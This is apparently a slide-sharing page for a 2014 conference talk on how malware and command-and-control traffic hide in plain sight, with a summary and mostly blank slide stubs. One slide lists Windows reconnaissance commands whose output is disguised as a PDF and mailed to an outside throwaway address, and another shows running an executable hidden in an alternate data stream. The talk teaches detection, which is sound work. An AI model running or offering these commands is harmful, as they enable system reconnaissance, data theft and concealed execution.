Download to read offline
Uploaded byRob Gillen
CodeStock14: Hiding in Plain Sight
This document discusses techniques for hiding malicious software and command and control traffic in plain sight. It describes designing a RAT that uses encryption and queries web pages for commands. It also discusses mimicking normal user behavior by monitoring traffic rates and target URLs. Additional hiding techniques explored include using alternate data streams, least significant bit encoding in images, and abusing network protocols. The document emphasizes that behavior monitoring must be part of security strategies to detect such concealed threats.
More Related Content
Similar to CodeStock14: Hiding in Plain Sight
CodeStock14: Hiding in Plain Sight
- 1. HidinginPlainSight Presentedby /RobGillen @argodev Thisworkislicensedundera. Thistalkandrelatedresourcesareavailableonline: CreativeCommonsAttribution4.0InternationalLicense https://github.com/argodev/talks/
- 2.
- 4.
- 7.
- 8.
- 9.
- 10.
- 11.
- 15. CommandText ipconfig /all >%APPDATA%info.txt net start >> %APPDATA%info.txt tasklist /v >> %APPDATA%info.txt net user >> %APPDATA%info.txt net localgroup administrators >> %APPDATA%info.txt netstat -ano >> %APPDATA%info.txt net use >> %APPDATA%info.txt copy %APPDATA%info.txt %APPDATA%output.pdf del %APPDATA%info.txt sendmail %APPDATA%output.pdf Status Update “Jones, William E. wejones@yourorg.gov” itebaffe-836@yopmail.com smtp.yourorg.gov del %APPDATA%output.pdf
- 16.
- 17.
- 18.
- 19.
- 26.
- 27.
- 28.
- 29. Whataboutthis? #type evil.exe >notepad.exe:evil.exe #start notepad.exe:evil.exe
- 30.
- 31.
- 32.
- 35.
- 37.
- 38.
- 42.
- 43.